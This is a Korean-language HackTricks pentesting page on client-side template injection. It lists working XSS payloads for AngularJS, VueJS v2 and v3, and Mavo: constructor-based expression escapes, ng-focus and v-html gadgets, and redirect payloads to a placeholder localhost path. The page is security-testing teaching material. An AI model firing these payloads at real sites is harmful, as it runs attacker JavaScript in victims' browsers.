hacktricks/src/pentesting-web/client-side-template-injection-csti.md

79 lines
4.9 KiB
Markdown

# 클라이언트 사이드 템플릿 인젝션 (CSTI)
{{#include ../banners/hacktricks-training.md}}
## 요약
이는 **서버 사이드 템플릿 인젝션**([**Server Side Template Injection**](ssti-server-side-template-injection/index.html))과 유사하지만 **클라이언트**에서 발생합니다. **SSTI**는 원격 서버에서 **코드를 실행**할 수 있게 해주지만, **CSTI**는 피해자의 브라우저에서 **임의의 JavaScript** 코드를 실행할 수 있게 해줍니다.
이 취약점을 **테스트**하는 것은 **SSTI**의 경우와 매우 **유사**하며, 인터프리터는 **템플릿**을 기대하고 이를 실행합니다. 예를 들어, `{{ 7-7 }}`와 같은 페이로드를 사용했을 때, 앱이 **취약**하다면 `0`이 표시되고, 그렇지 않으면 원래의 `{{ 7-7 }}`가 표시됩니다.
## AngularJS
AngularJS는 HTML과 상호작용하는 널리 사용되는 JavaScript 프레임워크로, 지시어로 알려진 속성을 통해 작동합니다. 그 중 하나가 **`ng-app`**입니다. 이 지시어는 AngularJS가 HTML 콘텐츠를 처리할 수 있게 하여, 이중 중괄호 안에서 JavaScript 표현식을 실행할 수 있게 합니다.
사용자 입력이 `ng-app`으로 태그된 HTML 본문에 동적으로 삽입되는 시나리오에서는 임의의 JavaScript 코드를 실행할 수 있습니다. 이는 입력 내에서 AngularJS의 구문을 활용하여 달성할 수 있습니다. 아래는 JavaScript 코드를 실행하는 방법을 보여주는 예시입니다:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
당신은 **AngularJS**의 취약점에 대한 매우 **기본적인 온라인 예제**를 [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)와 [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)에서 찾을 수 있습니다.
> [!CAUTION] > [**Angular 1.6은 샌드박스를 제거했습니다**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) 따라서 이 버전부터는 `{{constructor.constructor('alert(1)')()}}` 또는 `<input ng-focus=$event.view.alert('XSS')>`와 같은 페이로드가 작동해야 합니다.
## VueJS
당신은 [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)에서 **취약한 Vue** 구현을 찾을 수 있습니다.\
작동하는 페이로드: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
그리고 취약한 예제의 **소스 코드**는 여기에서 확인할 수 있습니다: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
A really good post on CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
### **V3**
```
{{_openBlock.constructor('alert(1)')()}}
```
Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
### **V2**
```
{{constructor.constructor('alert(1)')()}}
```
Credit: [Mario Heiderich](https://twitter.com/cure53berlin)
**더 많은 VUE 페이로드를 확인하세요** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
## Mavo
Payload:
```
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
```
**더 많은 페이로드는** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
## **무차별 대입 탐지 목록**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
{{#include ../banners/hacktricks-training.md}}